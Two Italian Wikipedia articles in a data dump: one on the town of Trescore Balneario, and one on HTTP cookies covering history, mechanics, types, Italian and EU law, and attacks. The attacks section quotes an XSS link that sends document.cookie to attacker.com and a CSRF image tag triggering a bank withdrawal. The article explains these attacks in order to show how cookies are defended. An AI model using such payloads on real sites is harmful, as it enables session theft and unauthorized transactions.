{"id": "26587", "revid": "1124164", "url": "https://it.wikipedia.org/wiki?curid=26587", "title": "Trescore Balneario", "text": "Trescore Balneario (\"Tresc\u00f9r Balne\u00e0re\" localmente pronunciato o semplicemente \"Tresc\u00f9r\" in dialetto bergamasco) \u00e8 un comune italiano di abitanti della provincia di Bergamo in Lombardia.\nGeografia fisica.\nTerritorio.\nSituato a circa 15 chilometri a est di Bergamo, \u00e8 sempre stato il centro principale della bassa Val Cavallina e, lungo i secoli, capoluogo amministrativo. Nominato in un documento del 996 con la forma \"Trescurium\". In altri documenti e mappe, in prossimit\u00e0 al luogo dove sorge l'attuale paese esisteva un luogo di nome \"Leuceris\". Per questo motivo non si sa con esattezza la provenienza del nome e l'esatto nome dell'antico borgo che sorgeva negli stessi luoghi nell'antichit\u00e0.\nTradizionalmente si suddivide nelle contrade Piazza, Torre, Strada, Riva, Macina, Fornaci, Canton-Vallesse, Minardi , Redona (l'unica frazione comunale) e Muratello.\n\u00c8 attualmente un grosso centro commerciale, artistico e termale. In effetti deve la sua fama proprio agli stabilimenti termali che, conosciuti gi\u00e0 dai Romani per la loro efficace terapia, vennero valorizzati da Bartolomeo Colleoni e sono stati oggetto di numerose ristrutturazioni.\nMonumenti e luoghi d'interesse.\nNotevoli le tracce architettoniche e i monumenti appartenenti un po' a tutte le epoche. Nella spaziosa piazza di Trescore, dallo schema regolare, troneggia la possente Torre Suardi del XIII secolo ripristinata nel Settecento nell'originale altezza.\nProseguendo nella via principale, si incontra subito la chiesa parrocchiale neoclassica di San Pietro dalla bella cupola affrescata da Vittorio Manini, dove si conservano interessanti \"dipinti\" dei veneti Antonio Balestra e Sebastiano Ricci e del bergamasco Ponziano Loverini. L\"altare maggiore\" in marmo \u00e8 attribuito allo scultore Bartolomeo Manni di Rovio. Molto antica \u00e8 la piccola chiesa di San Vincenzo nella localit\u00e0 Torre. Di particolare interesse \u00e8 la piccola chiesa di San Cassiano documentata gi\u00e0 nel 1105, di cui rimane solo la parte absidale.\nTrescore \u00e8 inoltre conosciuto per un gioiello: gli affreschi di Lorenzo Lotto nella cappella Suardi situata all'interno della villa privata dei discendenti Suardi, lungo la statale del Tonale. Il ciclo di affreschi \u00e8 dedicato alle storie di Santa Barbara e ed eseguito su commissione della famiglia Suardi nel 1524.\nLungo la strada che porta a Cenate Sopra, in localit\u00e0 \"Canton\", si trova l'imponente struttura di villa Terzi, una delle espressioni pi\u00f9 complete e significative di architettura settecentesca dell'intera provincia. Trescore ospita anche un ospedale, fondato da don Isidoro Bortolotti, morto nell'autunno 1837, che aveva acquistato a sue spese (siamo all'inizio dell'Ottocento) parte dall'ex convento dei cappuccini. Numerose le chiese sussidiarie, alcune di epoca romanica, altre del periodo barocco, che conservano pregevoli opere d'arte.\nSalendo al colle Niardo si pu\u00f2 ammirare il castello omonimo.\nAmministrazione.\nL'amministrazione comunale ha sede nello storico palazzo Comi.\nIl 15 giugno 2008 la comunit\u00e0 \u00e8 stata chiamata alle urne per esprimere il proprio parere circa l'iniziativa, proposta dal sindaco Alberto Finazzi, sul cambio della denominazione da \"Trescore Balneario\" a \"Trescore Terme\", promossa per stimolare la crescita del comparto turistico e dell'indotto ad esso collegato.\nIl referendum consultivo, senza quorum richiesto, ha visto la partecipazione di quasi il 41% degli aventi diritto.\nLa maggioranza di coloro che si sono recati alle urne, il 77,2% (2.001 voti), ha votato NO, il rimanente 22,8% (597 voti) si \u00e8 dichiarato invece favorevole all'iniziativa. La consultazione popolare quindi ha avuto come effetto il mantenimento dell'attuale denominazione.\nI sindaci dal 1985 a oggi sono stati:\nInfrastrutture e trasporti.\nAttraversata dalla strada statale 42, Trescore ospit\u00f2 fra il 1901 e il 1931 un'importante stazione tranviaria di diramazione fra la tranvia Bergamo-Trescore-Sarnico e la Tranvia della val Cavallina, che sorgeva nell'area antistante la parrocchia di San Pietro Apostolo, in seguito urbanizzata con la costruzione di alcuni palazzi.\nNel territorio comunale passa la Strada statale 42 del Tonale e della Mendola\nSport.\nLa principale societ\u00e0 calcistica del comune \u00e8 l'Aurora Trescore, con squadre di calcio e basket; la squadra di calcio attualmente milita nel campionato lombardo di Seconda Categoria.\nLa squadra di pallavolo femminile gioca le proprie partite casalinghe nel PalaTerme (capienza di circa 400 spettatori). La squadra di Rugby Raptors Valcavallina disputa le partite nel campo del PalaTerme."}
{"id": "26591", "revid": "6923", "url": "https://it.wikipedia.org/wiki?curid=26591", "title": "Cookie", "text": "Gli HTTP cookie (pron. ; pi\u00f9 precisamente denominati cookie web, o per antonomasia cookie)\nsono un tipo particolare di magic cookie (una sorta di gettone identificativo) e vengono utilizzati dalle applicazioni web lato server per archiviare e recuperare informazioni a lungo termine sul lato client.\nStoria.\nIl concetto e il termine \"cookie\", che letteralmente significa \"biscotto\" , derivano dal magic cookie (biscotto magico) una tecnica nota in ambiente UNIX gi\u00e0 negli anni '80 e tipicamente utilizzata per implementare meccanismi di identificazione di un client presso un server, come ad esempio l'autenticazione del server X Window System.\nIl primo uso di cookie in HTTP risale al 1994, quando furono usati per controllare se i lettori del sito di Netscape lo avessero gi\u00e0 visitato in precedenza.\nNel 1995 la gestione dei cookie \u00e8 stata integrata in Internet Explorer 2.\nL'introduzione dei cookie inizialmente non \u00e8 stata conosciuta da un ampio pubblico, ma se ne inizi\u00f2 a parlare dopo un articolo pubblicato sul \"Financial Times\" il 12 febbraio 1996.\nIl dibattito che si scaten\u00f2 aveva come tema le implicazioni dei cookie sulla segretezza.\nI \"cookie\" furono oggetto di due udienze della Commissione degli Stati Uniti in commercio federale nel 1996 e nel 1997.\nDa queste date si incominci\u00f2 a regolare gli utilizzi dei cookie.\nOggi le applicazioni pi\u00f9 comuni riguardano la memorizzazione di informazioni sulle abitudini dell'utente stesso all'interno dei siti web che visita.\nTali applicazioni hanno spesso sollevato dubbi da parte dei difensori della privacy dei navigatori, infatti un cookie potrebbe aiutarci nella navigazione oppure spiarci.\nIn questo secondo caso rientrano molte catene di pubblicitari (che vendono pubblicit\u00e0 a molti siti differenti) i quali usano un \"cookie\" accluso all'immagine pubblicitaria per correlare le visite di uno stesso utente a pi\u00f9 siti diversi, costruendo quindi una specie di profilo dei siti pi\u00f9 graditi.\nAltri usi considerati convenienti perch\u00e9 utilizzano il cookie come servizio per l'utente sono per esempio la registrazione dei dati di una sessione per evitare la necessit\u00e0 di una nuova autenticazione in una visita successiva (come fa anche Wikipedia per i suoi utenti registrati), o per mantenere il contenuto del \"carrello della spesa\" nei siti di commercio elettronico.\nDescrizione.\nGeneralit\u00e0.\nI server inviano i cookie nella risposta HTTP al client e ci si aspetta che i web browser salvino e inviino i cookie al server, ogni qual volta si facciano richieste aggiuntive al web server.\nTale riconoscimento permette di realizzare meccanismi di autenticazione usati ad esempio per i login; di memorizzare dati utili alla sessione di navigazione, come le preferenze sull'aspetto grafico o linguistico del sito; di tracciare la navigazione dell'utente, ad esempio per fini statistici o pubblicitari; di associare dati memorizzati dal server, ad esempio il contenuto del carrello di un negozio elettronico.\nDate le implicazioni per la riservatezza dei naviganti del web, l'uso dei cookie \u00e8 categorizzato e disciplinato negli ordinamenti giuridici di numerosi paesi, tra cui quelli europei, inclusa l'Italia. La sicurezza di un \"cookie\" di autenticazione dipende generalmente dalla sicurezza del sito che lo emette, dal browser web dell'utente, e dipende dal fatto che il \"cookie\" sia criptato o meno. Le vulnerabilit\u00e0 di sicurezza possono permettere agli hacker di leggere i dati del \"cookie\", che potrebbe essere usato per ottenere l'accesso ai dati degli utenti, o per ottenere l'accesso (con le credenziali dell'utente) al sito web a cui il \"cookie\" appartiene (vedi cross-site scripting e cross-site request forgery per esempio).\nI \"cookie\", e in particolare i \"cookie\" di terza parte, sono comunemente usati per memorizzare le ricerche di navigazione degli utenti; questi dati sensibili possono essere una potenziale minaccia alla privacy degli utenti; proprio questo ha indotto le autorit\u00e0 europee e degli Stati Uniti a regolamentarne l'uso mediante una legge nel 2011. Infatti la legislazione europea impone a tutti i siti degli stati membri di informare gli utenti che il sito usa certi tipi di \"cookie\".\nCaratteristiche.\nIn termini pratici e non specialistici, un cookie \u00e8 simile ad un piccolo file, memorizzato nel computer da siti web durante la navigazione, utile a salvare le preferenze e a migliorare le prestazioni dei siti web. In questo modo si ottimizza l'esperienza di navigazione da parte dell'utente.\nNel dettaglio, un cookie \u00e8 una stringa di testo di piccole dimensioni inviata da un web server ad un web client (di solito un browser) e poi rimandata indietro dal client al server (senza subire modifiche) ogni volta che il client accede alla stessa porzione dello stesso dominio web. I cookie sono stati originariamente introdotti per fornire un modo agli utenti di memorizzare gli oggetti che volevano acquistare, mentre navigavano nel sito web (il cosiddetto \"carrello della spesa\").\nOggi, tuttavia, il contenuto del carrello di un utente viene immagazzinato in un database sul server, piuttosto che in un cookie sul client. Per tenere traccia a quale utente \u00e8 assegnato il carrello della spesa, il server Web invia un cookie al client che contiene un identificatore di sessione univoco (tipicamente, una lunga serie di lettere e numeri). Poich\u00e9 i cookie vengono inviati al server ad ogni richiesta del client, l'identificatore di sessione sar\u00e0 inviato al server ogni volta che l'utente visita una pagina sul sito web, ci\u00f2 permette al server di sapere quale carrello deve fornire all'utente.\nPoich\u00e9 i cookie di sessione contengono solo un identificatore di sessione univoco, questo rende la quantit\u00e0 di informazioni personali che un sito web pu\u00f2 memorizzare virtualmente illimitata. Il sito non si limita alle restrizioni in materia di quanto possa essere lunga la stringa di testo che compone un cookie. I cookie di sessione possono anche contribuire a migliorare i tempi di caricamento delle pagine, dal momento che la quantit\u00e0 di informazioni in un cookie di sessione \u00e8 piccolo e richiede poca banda.\nIl cookie principale, quello che serve per memorizzare le opzioni per tutti gli altri cookie, si chiama \"cookie tecnico\" (di consenso) ovvero quello che presiede all'invio e ricezione del pacchetto di informazioni (marcatori).\nOgni dominio o sua porzione che viene visitata col browser pu\u00f2 impostare dei cookie. Poich\u00e9 una tipica pagina Internet, ad esempio quella di un giornale in rete, contiene oggetti che provengono da molti domini diversi e ognuno di essi pu\u00f2 impostare cookie, \u00e8 normale ospitare nel proprio browser molte centinaia di cookie.\nI cookie vengono spesso erroneamente ritenuti veri e propri programmi e ci\u00f2 genera errate convinzioni. In realt\u00e0 essi sono semplici blocchi di dati, incapaci, da soli, di compiere qualsiasi azione sul computer. In particolare non possono essere n\u00e9 spyware, n\u00e9 virus. Ciononostante i cookie provenienti da alcuni siti sono catalogati come spyware da molti prodotti anti-spyware perch\u00e9 rendono possibile l'individuazione dell'utente. I moderni browser permettono agli utenti di decidere se accettare o no i cookie, ma l'eventuale rifiuto rende alcuni oggetti inutilizzabili. Ad esempio, gli shopping cart implementati con i cookie non funzionano in caso di rifiuto.\nI cookie non sono solo utilizzati sui PC o simili, ma anche sugli smartphone, sui tablet e sugli smart TV.\nFunzionamento.\nUn cookie \u00e8 un header aggiuntivo presente in una richiesta (\"Cookie:\") o risposta (\"Set-cookie:\") HTTP: nel caso il server voglia assegnare un cookie all'utente, lo aggiunger\u00e0 tra gli header di risposta. Il client deve notare la presenza del cookie e memorizzarlo in un'area apposita (in genere, si utilizza una directory dove ogni cookie viene memorizzato in un file). Il cookie \u00e8 composto da una stringa di testo arbitraria, una data di scadenza (oltre la quale non deve essere considerato valido) e un pattern per riconoscere i domini a cui rimandarlo. \u00c8 possibile impostare pi\u00f9 cookie in una sola risposta HTTP.\nIl browser web client rimander\u00e0 il cookie, senza alcuna modifica, allegandolo a tutte le richieste HTTP che soddisfano il pattern, entro la data di scadenza. Il server pu\u00f2 quindi scegliere di assegnare il cookie di nuovo, sovrascrivendo quello vecchio. Il reinvio tramite pattern permette a tutti i sottodomini di un dato dominio di ricevere il cookie, se cos\u00ec si vuole.\nI cookie vengono utilizzati per aggiungere uno stato ad un protocollo privo di stato. Senza i cookie non vi sarebbe differenza in una pagina caricata prima di effettuare un login, dalla stessa pagina caricata dopo. Dato che i cookie permangono nel sistema per lunghi periodi, i siti possono assegnare un indice all'utente e tenere traccia della sua navigazione all'interno del sito, solitamente allo scopo di creare statistiche. Possono essere utilizzati anche per tracciare la navigazione su siti terzi, nel caso in cui questi siti terzi utilizzino contenuti provenienti dal sito che ha impostato il cookie. Solitamente la pubblicit\u00e0 sui siti viene gestita da compagnie che hanno inserzioni su svariati siti internet.\nIl contenuto della pubblicit\u00e0 stessa viene caricato direttamente dal loro server (tramite una richiesta HTTP) e visualizzato in maniera integrata nel sito che l'utente desidera visitare. In questo modo il server della compagnia pubblicitaria ricever\u00e0 dal browser dell'utente l'indirizzo della pagina che si sta visualizzando, e potr\u00e0 inviare un cookie al client. Tramite questo meccanismo le societ\u00e0 pubblicitarie possono aggregare informazioni sugli utenti e costruirne profili e mostrare loro pubblicit\u00e0 mirate.\nUtilizzo.\nPoich\u00e9 possono essere usati per monitorare la navigazione su Internet, i cookie sono oggetto di discussioni concernenti il diritto alla privacy. Molti paesi ed organizzazioni, fra cui gli Stati Uniti e l'Unione europea, hanno legiferato in merito. I cookie sono stati inoltre criticati perch\u00e9 non sempre sono in grado di identificare l'utente in modo accurato ed inoltre perch\u00e9 possono potenzialmente essere oggetto di attacchi informatici. Esistono alcune alternative ai cookie, ma tutte, insieme ad alcuni vantaggi, presentano controindicazioni.\nNella \"cookie policy\" i gestori di un sito web devono specificare nel dettaglio la politica dei propri \"cookie\" o di quelli di terze parti.\nLe attivit\u00e0 per le quali sono utilizzate sono di autenticazione, tracciatura di sessioni e memorizzazione di informazioni specifiche riguardanti gli utenti che accedono al server, come ad esempio siti web preferiti o, in caso di acquisti via internet, il contenuto dei loro \"carrelli della spesa\".\nAnche il motore di ricerca pi\u00f9 famoso del mondo, Google, spedisce un cookie che immagazzina dati riguardanti le ricerche, le parole chiave delle ricerche e le abitudini dell'utente.\nPi\u00f9 in dettaglio i diversi utilizzi dei \"cookie\" sono dunque:\nMolti dei moderni browser permettono all'utente di decidere quando accettare cookie, ma respingere alcuni cookie non permette l'utilizzo di alcuni siti (prendiamo come esempio l'iscrizione ad un sito web come Wikipedia).\nLe impostazioni possono essere personalizzate per abilitarli o bloccarli sempre, entro un determinato periodo di permanenza, per filtrare i siti in base a liste bianche e liste nere, e per filtrare cookie che sono utilizzati dallo stesso server o anche da collegamenti (spesso pubblicitari) a siti ospitati su server differenti.\n\u00c8 da notare che il funzionamento dei cookie \u00e8 totalmente dipendente dal browser di navigazione che l'utente usa: in teoria, tale programma pu\u00f2 dare all'utente il controllo completo dei cookie e permettere o rifiutare la loro creazione e diffusione. Microsoft Internet Explorer ha solo una gestione rudimentale dei cookie, mentre alternative come Opera o Mozilla Firefox danno un maggiore controllo all'utente e permettono di accettare/rifiutare cookie da siti specifici. Anche altri programmi, da usare come proxy, permettono all'utente un grado maggiore di controllo su cosa succede.\nUn Tor o un proxy server hanno l'effetto finale, non di cancellare l'indirizzo IP, ma di farne apparire uno differente da quello del proprio computer. Nel caso di rilevazione dell'indirizzo IP, con questi accorgimenti, non si incontra alcuna limitazione nel numero di siti navigabili.\nStruttura.\nElementi.\nContrariamente a quanto comunemente si crede, un cookie non \u00e8 un piccolo file di testo: pu\u00f2 essere s\u00ec memorizzato in un file di testo, ma non necessariamente. Nel cookie solitamente possiamo trovare quattro attributi:\nDominio e percorso.\nIl dominio (domain) e il percorso (path), definiscono l'ambito di visibilit\u00e0 del cookie, indicano al browser che il cookie pu\u00f2 essere inviato al server solo per il dominio e il percorso indicati. Se non specificati, come predefiniti prendono il valore del dominio e del percorso che li ha inizialmente richiesti. Un esempio di direttiva per la creazione dei cookie da parte di un sito web in seguito al logon di un utente \u00e8 la seguente:\nIl primo cookie codice_1 ha come dominio predefinito codice_2 e percorso codice_3, che indicheranno al browser di usare il cookie solo quando la pagina richiesta contiene codice_4. Gli altri 2 cookie codice_5 e codice_6 potranno essere inviati dal browser al server quando sono visitati, qualsiasi dei sottodomini in codice_7 con qualsiasi percorso, ad esempio codice_8. I cookie possono essere impostati solo dai domini principali e dai loro sottodomini.\nTipi di cookie.\nLa grande variet\u00e0 esistente di cookie nel mondo del web rende difficile una loro classificazione. \u00c8 possibile comunque stilarne una tassonomia generale separandoli in diverse categorie. L'attributo principale tramite cui possiamo dividere i cookie \u00e8 il loro \"ciclo di vita\", il quale ci permette di distinguerli in:\n\u00c8 possibile poi classificare i cookie in base alla \"provenienza\" in:\nInfine, \u00e8 possibile distinguerli dal punto di vista dell\"'utilizzo\" (o \"finalit\u00e0\") in:\nAltri tipi utili di cookie:\nManipolazioni sui cookie.\nUna procedura di manipolazione sui cookie \u00e8 la \"cookie poisoning\". Consiste nel modificare i contenuti di un cookie (per esempio le informazioni personali salvate nel computer dell'utente) al fine di eludere i meccanismi di sicurezza.\nAttraverso questa tecnica, chi attacca pu\u00f2 ottenere informazioni private e non autorizzate da un utente, nonch\u00e9 rubare la sua identit\u00e0 digitale. I cookie immagazzinati nel computer dell'utente contengono le informazioni che permettono alle applicazioni di autenticare lo userID, monitorare i comportamenti dell'utente, e personalizzare i contenuti di un sito. In genere, questi dati sono sottoposti a cifratura, ma non sempre gli algoritmi sono sicuri per cui qualche utente con intenzioni malevole potrebbe carpire i nostri dati e utilizzarli o modificarli. Secondo l'organizzazione The Open Web Application Security Project, comunemente detta OWASP, la manipolazione dei cookie \u00e8 uno dei 20 attacchi pi\u00f9 utilizzati dagli hacker, soprattutto nei sistemi di commercio elettronico, e serve per identificare l'utente.\nLa maggior parte dei siti web utilizzano i cookie come unici identificatori per le sessioni degli utenti, in quanto altri metodi di identificazione hanno dei limiti e delle vulnerabilit\u00e0. Esiste comunque un rischio, infatti, potrebbe permettere agli aggressori di rubare ed impersonare le richieste degli utenti. Dal punto di vista del server web, una richiesta effettuata da un utente con intenzioni malevole (cio\u00e8 un utente che ha rubato i cookie di altri utenti) non ha alcuna differenza rispetto alla richiesta effettuata dalla vittima.\nQui elencate vi sono diverse tecniche di furto di cookie che funzionano esclusivamente con i siti web che si basano sui cookie HTTP per l'autenticazione degli utenti.\nIntercettazioni di rete.\nIl traffico di una rete pu\u00f2 essere intercettato e letto da un computer connesso ad una rete diversa rispetto a quella del mittente e destinatario (in particolare quando si \u00e8 connessi ad una rete Wi-Fi non criptata). Questo traffico include cookie inviati su sessioni HTTP non cifrate, e pu\u00f2 permette agli aggressori di leggere le comunicazioni di altri utenti della rete, inclusi i cookie HTTP, nonch\u00e9 l'intero contenuto delle conversazioni, ai fini di un attacco man-in-the-middle.\nUn utente malintenzionato potrebbe utilizzare i cookie intercettati per impersonare l'utente proprietario dei cookie, ed effettuare operazioni dannose, come ad esempio trasferire somme di denaro dal conto bancario della vittima su altri conti, spesso e volentieri non rintracciabili.\nQuesto problema pu\u00f2 essere risolto attraverso una comunicazione cifrata, tra il computer dell'utente e il web server, utilizzando Transport Layer Security (protocollo HTTPS). Il server pu\u00f2 specificare il flag Secure durante l'impostazione dei cookie, in modo che il browser possa inviare i cookie solo su un canale crittografato, come ad esempio una connessione SSL.\nFalsi sotto-domini &amp; DNS cache poisoning.\nSe un utente malintenzionato \u00e8 in grado di nascondere un server DNS, e di far utilizzare all'utente un server DNS fittizio/fasullo (DNS cache poisoning), allora questo potrebbe consentire al malintenzionato di ottenere l'accesso ai cookie dell'utente. Ad esempio, un utente malintenzionato potrebbe utilizzare DNS cache poisoning per creare un DNS fasullo di codice_26 che in realt\u00e0 punta all'indirizzo IP del server dell'attaccante. Quest'ultimo pu\u00f2 quindi inserire l'immagine URL del proprio server (ad esempio, codice_27 . Le vittime leggendo il messaggio dell'attaccante andranno a scaricare questa immagine da codice_26. Dal momento che codice_26 \u00e8 un sottodominio di codice_30 , il browser delle vittime provveder\u00e0 ad inviare tutti i cookie codice_22 al server dell'attaccante.\nSe un utente malintenzionato \u00e8 in grado di raggiungere questo obiettivo, di solito la colpa \u00e8 dei fornitori dei servizi Internet (Internet Service Providers) che non hanno garantito una connessione sicura dei server DNS. Tuttavia, la gravit\u00e0 di questo attacco pu\u00f2 essere ridotta se il sito destinatario utilizza i cookie protetti. In questo caso, l'utente malintenzionato avr\u00e0 un ulteriore ostacolo, quello di ottenere il certificato SSL del sito Web di destinazione da un'autorit\u00e0 di certificazione, dal momento che i cookie sicuri possono essere trasmessi solo tramite una connessione criptata. Senza un certificato SSL, i browser delle vittime avrebbero visualizzato un messaggio di avviso relativo al certificato non valido del sito web dell'attaccante, che potrebbe aiutare gli utenti a non visitarlo, evitando cos\u00ec di inviare i cookie ad un sito non sicuro.\nCross-site scripting: furto dei cookie.\nI cookie possono anche essere rubati utilizzando una tecnica chiamata cross-site scripting. Ci\u00f2 si verifica quando un attaccante sfrutta un sito web che permette agli utenti di inviare contenuto non filtrato HTML e JavaScript. Inviando dei contenuti malevoli HTML e JavaScript, l'attaccante pu\u00f2 servirsi del browser della vittima per prendere il controllo dei suoi cookie.\nA titolo di esempio, un utente malintenzionato pu\u00f2 inviare un messaggio sul codice_30 con il seguente link:\n&lt;a href=\"#\" onclick=\"window.location='http://attacker.com/stole.cgi?text='+escape(document.cookie); return false;\"&gt;Click here!&lt;/a&gt;\nQuando un altro utente clicca su questo link, il browser esegue un pezzo di codice all'interno dell'attributo codice_33 , sostituendo cos\u00ec la stringa codice_34 con la lista dei cookie che sono accessibili dalla pagina corrente. Come risultato, questo elenco di cookie viene inviato al server codice_35. Se la connessione avviene mediante HTTPS codice_36, i Secure cookie saranno inviati lo stesso ad codice_35 in formato testo.\n\u00c8 responsabilit\u00e0 degli sviluppatori dei siti web filtrare tale codice dannoso.\nTali attacchi possono essere ridotti utilizzando i cookie \"HttpOnly\". Questi cookie non saranno accessibili dal lato client attraverso linguaggi di scripting come JavaScript e, quindi, l'attaccante non sar\u00e0 in grado di rubare questi cookie.\nCross-site scripting: richiesta proxy.\nNelle versioni pi\u00f9 vecchie di molti browser, ci furono buchi di sicurezza che permisero agli attaccanti di sporcare gli script di una richiesta proxy, dal lato client, tramite XMLHttpRequest API. Ad esempio, la vittima sta leggendo un post di un attaccante su codice_30 , e lo script dell'attaccante viene eseguito nel browser della vittima. Lo script genera una richiesta per codice_30 con codice_35 come server proxy. Dal momento che la richiesta \u00e8 per codice_30, tutti i cookie di codice_22 verranno inviati insieme alla richiesta, tuttavia verranno instradati attraverso il server proxy dell'attaccante. Quindi, l'attaccante sarebbe in grado di intercettare i cookie della vittima.\nQuesto attacco non avrebbe funzionato con i Secure cookie, in quanto possono essere trasmessi solo su connessioni HTTPS, e il protocollo HTTPS implementa una crittografia end-to-end (vale a dire che le informazioni sono crittografate sul browser dell'utente e decifrate sul server di destinazione). In questo caso, il server proxy avrebbe visto solo i primi byte cifrati della richiesta HTTP.\nCross-site request forgery.\nAd esempio, Bob potrebbe navigare in un forum in cui un altro utente, Mallory, ha postato un messaggio. Supponiamo che Mallory abbia realizzato un'immagine HTML che fa riferimento ad un'operazione sul sito web della banca di Bob, (piuttosto che un file immagine) ad esempio:\n &lt;img src=\"http://bank.example.com/withdraw?account=bob&amp;amount=1000000&amp;for=mallory\"&gt;\nSe la banca di Bob mantiene le sue informazioni di autenticazione in un cookie, e se il cookie non \u00e8 scaduto, allora il tentativo da parte del browser di Bob di caricare l'immagine presenter\u00e0 il modulo di rinuncia del suo cookie, autorizzando in tal modo una transazione senza l'approvazione di Bob.\nEliminazione.\nUna volta che si \u00e8 impostato il browser perch\u00e9 accetti i cookie, essi sono archiviati in una speciale cartella del sistema, solitamente nel percorso dell'utente. Il percorso ove materialmente sono memorizzati i file corrispondenti dipende dalla combinazione tipologia dispositivo/sistema operativo/browser. Si possono facilmente cancellare sia agendo sui comandi previsti dal browser (i medesimi che permettono di cancellare la cronologia, la cache, le informazioni di login, i dati di compilazione dei moduli, ecc.) oppure utilizzando uno dei tanti \"pulitori\" di terze parti, quali ad esempio CCleaner, Spybot- Search &amp; Destroy. Oltre alla eliminazione massiva si pu\u00f2 ricorrere a quella dei singoli file ma allora occorre riconoscerli agendo (nella cartella relativa) sugli specifici cookie di interesse.\nUna volta eseguita l'eliminazione dei cookie, \u00e8 normale che il browser e i vari siti web si ripresentino con delle richieste, rispettivamente, di personalizzazione impostazione e di accettazione cookie oppure la navigazione su siti abituali sia leggermente e inizialmente un poco pi\u00f9 lenta: questo \u00e8 dovuto, appunto, alla pulizia eseguita.\nAspetti giuridici.\nLegislazione italiana.\nIn Italia la norma di riferimento relativamente ai cookie \u00e8 l'art. 122 del codice della privacy che nella sua formulazione a fine maggio 2012 recepisce la direttiva comunitaria 2009/136/CE E-Privacy. \u00c8 quindi necessario che l'utente, salvo casi particolari, sia informato e presti esplicitamente il consenso, prima che i cookie vengano salvati. Tale indicazione, pur se tesa a dare maggiori garanzie agli utenti, cre\u00f2 a suo tempo allerta negli operatori per il rischio che potesse compromettere le modalit\u00e0 di navigazione come le conosciamo oggi.\nIl 2 giugno 2015 divenne obbligatorio per i gestori di siti web adeguarsi al Provvedimento \u201cIndividuazione delle modalit\u00e0 semplificate per l'informativa e l'acquisizione del consenso per l'uso dei cookie\u201d (Gazzetta Ufficiale n. 126 del 3 giugno 2014) dell'8 maggio 2014, con cui il Garante per la Protezione dei Dati Personali detta le regole sulle modalit\u00e0 di adempimento agli obblighi di rilascio dell'informativa e di acquisizione del consenso degli utenti in caso di utilizzo di cookie.\nPer tutti i siti web che utilizzano Cookie non tecnici (di profilazione) il Provvedimento stabilisce che nel momento in cui si accede ad una qualsiasi pagina del sito web deve immediatamente comparire in primo piano un banner(contenente l'informativa breve) di idonee dimensioni, con caratteristiche tali da determinare una discontinuit\u00e0 dell'esperienza di navigazione, indicante:\na) L'utilizzo di Cookie di profilazione al fine di inviare messaggi pubblicitari in linea con le preferenze manifestate dall'utente nell'ambito della navigazione in rete;\nb) se il sito consente l'invio di Cookie \"terze parti\";\nc) il link all'informativa estesa;\nd) la possibilit\u00e0 di negare il consenso all'installazione di qualunque cookie;\ne) che la prosecuzione della navigazione comporta la prestazione del consenso all'uso dei cookie.\nAl banner di informativa breve deve essere poi collegato un Cookie tecnico che permetta di tenere traccia del consenso dell'utente per le successive navigazioni sul medesimo sito internet.\nAttraverso il banner di informativa, e attraverso i riferimenti in calce ad ogni pagina del sito, l'utente deve quindi poter accedere all'informativa estesa (la cosiddetta \"cookie policy\") che deve contenere tutti gli elementi previsti dall'art. 13 del Codice, descrivere in maniera specifica e analitica le caratteristiche le finalit\u00e0 dei Cookie installati dal sito, consentire all'utente di selezionare o deselezionare i singoli cookie, contenere i link aggiornati alle informative e ai moduli di consenso delle terze parti con le quali l'editore ha stipulato accordi per l'installazione di Cookie tramite il proprio sito. Qualora l'editore abbia contatti indiretti con le terze parti, dovr\u00e0 inserire i link dei siti che fanno da intermediari tra lui e le stesse terze parti.\nL'informativa deve infine richiamare la possibilit\u00e0 per l'utente di manifestare le proprie opzioni in merito all'uso dei Cookie da parte del sito anche attraverso le impostazioni del browser, indicando almeno la procedura da eseguire per configurare tali impostazioni.\nIn caso di omessa o inidonea informativa, oltre che nelle previsioni di cui all'art. 13 del Codice, nel provvedimento \u00e8 prevista la sanzione amministrativa del pagamento di una somma da seimila a trentaseimila euro (art. 161 del Codice).\nL'installazione di Cookie sui terminali degli utenti in assenza del preventivo consenso degli stessi comporta, invece, la sanzione del pagamento di una somma da diecimila a centoventimila euro (art. 162, comma 2-bis, del Codice)\nL'omessa o incompleta notifica al Garante da parte di soggetti che utilizzano Cookie di 'profilazione' comporta una sanzione da venti mila a centoventi mila euro (art. 163 del Codice). Esclusi da tale obbligo sono coloro che non utilizzano direttamente i cookie di 'profilazione':\n-siti che trasmettono cookie di 'profilazione' di \"terze parti\";\n-siti che utilizzano direttamente cookie tecnici.\nIl garante ha altres\u00ec fornito in merito ai casi in cui sia necessaria la notifica ulteriori chiarimenti nel documento web n. 993385.\nIn merito ai chiarimenti richiesti sull'ambito di applicazione della normativa in materia di cookie, si evidenzia che la stessa riguarda tutti i siti che, a prescindere dalla presenza di una sede nel territorio dello Stato, installano cookie sui terminali degli utenti, utilizzando quindi per il trattamento \"strumenti situati sul territorio dello Stato\" (cfr. art. 5, comma 2, del Codice privacy).\nDal 25 maggio 2018 la regolamentazione sui cookie \u00e8 prescritta dal GDPR (vedi paragrafo).\nLa nuova legislazione europea: il GDPR.\nDal 25 maggio 2018 \u00e8 applicato il regolamento generale sulla protezione dei dati (GDPR, \"General Data Protection Regulation- Regolamento UE 2016/679)\". Il GDPR sostituisce l\u2019attuale legge italiana sulla protezione dei dati (ufficialmente Direttiva 95/46/EC) e abroga le norme del Codice per la protezione dei dati personali (dlgs.n. 196/2003) che risulteranno con esso incompatibili. Pertanto, gli articoli del codice italiano che non siano specificatamente coperti dal GDPR rimangono in vigore (a meno di futuri provvedimenti legislativi).\nSecondo la Commissione Europea \"i dati personali sono qualunque informazione relativa a un individuo, collegata alla sua vita sia privata, sia professionale o pubblica. Pu\u00f2 riguardare qualunque dato personale: nomi, foto, indirizzi email, dettagli bancari, interventi su siti web di social network, informazioni mediche o indirizzi IP di computer.\"\nPer questo anche i cookie devono essere trattati come dati personali e devono essere gestiti come segue:\nInoltre la cookie policy deve contenere la lista di tutti i cookie presenti su tutte le pagine del sito e per ognuno di essi: chi riceve i dati, per cosa sono utilizzati e la data di scadenza.\nNel gennaio 2017 la Commissione Europea propose un\u2019alternativa volta a semplificare l\u2019esperienza online, auspicando che siano gli stessi browser a poter gestire le preferenze degli utenti per il consenso/rifiuto dei cookie \u2013 eliminando quindi la necessit\u00e0 di gestire le singole accettazione dei cookie nei singoli siti. Questa proposta non ha avuto seguiti ed \u00e8 stata molto criticata e giudicata non fattibile.\nTecnicamente i browser non riescono a leggere lo scopo di un cookie (come viene utilizzato) e non possono fornire una sua descrizione in un \u201clinguaggio semplice\u201d cos\u00ec come \u00e8 richiesto nel GDPR. Inoltre i browser non possono registrare tutti i cookie presenti in un intero sito, ma solo uno per volta per 